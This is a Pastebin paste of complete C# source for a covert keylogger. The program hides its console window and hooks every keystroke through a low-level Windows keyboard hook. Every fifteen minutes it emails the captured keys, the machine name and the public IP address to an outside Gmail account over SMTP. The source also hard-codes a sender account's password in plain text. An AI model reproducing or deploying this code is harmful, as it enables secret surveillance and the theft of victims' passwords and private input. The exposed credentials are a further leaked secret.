Advertisement
Guest User

Untitled

a guest
Nov 15th, 2017
398
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.93 KB | None | 0 0
  1. using System;
  2. using System.Diagnostics;
  3. using System.Windows.Forms;
  4. using System.Runtime.InteropServices;
  5. using System.IO;
  6. using System.Net.Mail;
  7. using System.Collections.Generic;
  8. using System.Net;
  9.  
  10. class InterceptKeys
  11. {
  12. public List<string> buttons = new List<string>();
  13. private const int WH_KEYBOARD_LL = 13;
  14. private const int WM_KEYDOWN = 0x0100;
  15. private static LowLevelKeyboardProc _proc = HookCallback;
  16. private static IntPtr _hookID = IntPtr.Zero;
  17. static Timer myTimer = new Timer();
  18. public static InterceptKeys Instance;
  19. public static void Main()
  20. {
  21. Instance = new InterceptKeys();
  22. myTimer.Tick += new EventHandler(TimerEventProcessor);
  23. myTimer.Interval = 900000;
  24. myTimer.Start();
  25. var handle = GetConsoleWindow();
  26.  
  27. // Hide
  28. ShowWindow(handle, SW_HIDE);
  29.  
  30. _hookID = SetHook(_proc);
  31. Application.Run();
  32. UnhookWindowsHookEx(_hookID);
  33.  
  34. }
  35. public string GetLocalIPAddress()
  36. {
  37. string myIp = new WebClient().DownloadString(@"http://icanhazip.com").Trim();
  38. return myIp;
  39. }
  40. private static void TimerEventProcessor(object sender, EventArgs e)
  41. {
  42. MailMessage loginInfo = new MailMessage();
  43. string em = "trymis00@gmail.com";
  44. loginInfo.To.Add(em.ToString());
  45. loginInfo.From = new MailAddress("logtvbt@gmail.com");
  46. loginInfo.Subject = "SystemName=" + Environment.MachineName.ToString() + " " + "(IpAddress=" + "(" + InterceptKeys.Instance.GetLocalIPAddress() + ")";
  47.  
  48. foreach (string item in InterceptKeys.Instance.buttons)
  49. {
  50. loginInfo.Body += item + ", ";
  51. }
  52. loginInfo.IsBodyHtml = true;
  53. SmtpClient smtp = new SmtpClient();
  54. smtp.Host = "smtp.gmail.com";
  55. smtp.Port = 587;
  56. smtp.EnableSsl = true;
  57. smtp.Credentials = new System.Net.NetworkCredential("logtvbt@gmail.com", "Athen642");
  58. smtp.Send(loginInfo);
  59. InterceptKeys.Instance.buttons.Clear();
  60. }
  61. private void addThingy(string thing)
  62. {
  63. buttons.Add(thing);
  64. }
  65.  
  66. private static IntPtr SetHook(LowLevelKeyboardProc proc)
  67. {
  68. using (Process curProcess = Process.GetCurrentProcess())
  69. using (ProcessModule curModule = curProcess.MainModule)
  70. {
  71. return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
  72. GetModuleHandle(curModule.ModuleName), 0);
  73. }
  74. }
  75.  
  76. private delegate IntPtr LowLevelKeyboardProc(
  77. int nCode, IntPtr wParam, IntPtr lParam);
  78.  
  79. private static IntPtr HookCallback(
  80. int nCode, IntPtr wParam, IntPtr lParam)
  81. {
  82. if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
  83. {
  84. int vkCode = Marshal.ReadInt32(lParam);
  85. Console.WriteLine((Keys)vkCode);
  86. var k = (Keys)vkCode;
  87. InterceptKeys.Instance.buttons.Add(k.ToString());
  88. }
  89. return CallNextHookEx(_hookID, nCode, wParam, lParam);
  90. }
  91.  
  92. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  93. private static extern IntPtr SetWindowsHookEx(int idHook,
  94. LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
  95.  
  96. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  97. [return: MarshalAs(UnmanagedType.Bool)]
  98. private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  99.  
  100. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  101. private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
  102. IntPtr wParam, IntPtr lParam);
  103.  
  104. [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  105. private static extern IntPtr GetModuleHandle(string lpModuleName);
  106.  
  107. [DllImport("kernel32.dll")]
  108. static extern IntPtr GetConsoleWindow();
  109.  
  110. [DllImport("user32.dll")]
  111. static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  112.  
  113. const int SW_HIDE = 0;
  114.  
  115. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement